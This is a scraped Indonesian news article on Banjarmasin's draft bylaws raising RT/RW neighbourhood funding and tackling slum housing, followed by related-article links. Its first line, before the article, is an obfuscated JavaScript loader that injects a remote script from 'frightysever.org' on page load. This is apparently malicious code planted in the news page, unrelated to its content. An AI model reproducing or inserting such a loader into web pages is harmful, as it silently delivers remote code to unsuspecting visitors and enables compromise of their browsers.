(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Ada kabar gembira untuk para Ketua Rukun Tetangga (RT) dan Rukun Warga (RW) se Kota Banjarmasin. Pemko Banjarmasin berencana menaikan insentif bulanan mereka. Hal ini dapat dilihat dengan diusulkannya draf Raperda perubahan kedua atas Perda Kota Banjarmasin Nomor 23 tahun 2010 tentang Pedoman Penyelenggaraan Lembaga Kemasyarakatan RT dan RW di Banjarmasin ke DPRD.
Selain itu, dalam Sidang Paripurna yang dihadiri Plh Sekda Kota Banjarmasin H A Hamdi dan jajaran kepala SKPD lingkup Pemko Banjarmasin, diusulkan juga draf Raperda pencegahan dan peningkatan kualitas terhadap perumahan kumuh dan permukiman kumuh.
Walikota Banjarmasin Ibnu Sina yang hadir langsung dalam sidang tersebut mengatakan, perubahan kedua atas Perda Nomor 23 tahun 2010 itu dilakukan untuk mengatur dana operasional RT dan RW dalam melaksanakan tugas, serta beberapa ketentuan lainnya.
“Jika setelah dilakukan pengkajian dan dipandang perlu, maka berkenaan dengan hal tersebut Pemko Banjarmasin telah mempersiapkan perangkat hukum berupa rancangan Perda yang disampaikan kepada para anggota dewan,†ujarnya.
Lebih lanjut dikatakannya, untuk Perda tentang pencegahan dan peningkatan kualitas perumahan kumuh dan permukiman kumuh, adalah merupakan instrumen mencegah bertumbuhnya dan berkembangnya kekumuhan pada perumahan dan permukiman yang layak huni.
Perda tersebut, terangnya, merupakan landasan hukum untuk penanganan kumuh di daerah, sebagai peraturan turunan dari UU Nomor 1 tahun 2011 tentang Perumahan dan Kawasan Permukiman.
“Perda ini diharapkan dapat memuat pengaturan sebagaimana telah diatur dalam perundangan di tingkat nasional dan dilengkapi dengan muatan lokal yang spesifik untuk Kota Banjarmasin,†imbuhnya.
Di Kota Banjarmasin area kumuhnya sekira 500 hektar, dan yang tertangani baru sekira 30 persen. Dari 500 hektare area kumuh tersebut, 40 persen kekumuhan itu banyak terjadi di bantaran sungai. Karenannya, dengan adanya Perda tersebut maka diharapkan target 100 persen akses air minum, 0 persen kawasan permukiman kumuh, dan 100 persen akses sanitasi layak, pada tahun 2019 nanti dapat terwujud.(ammar)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.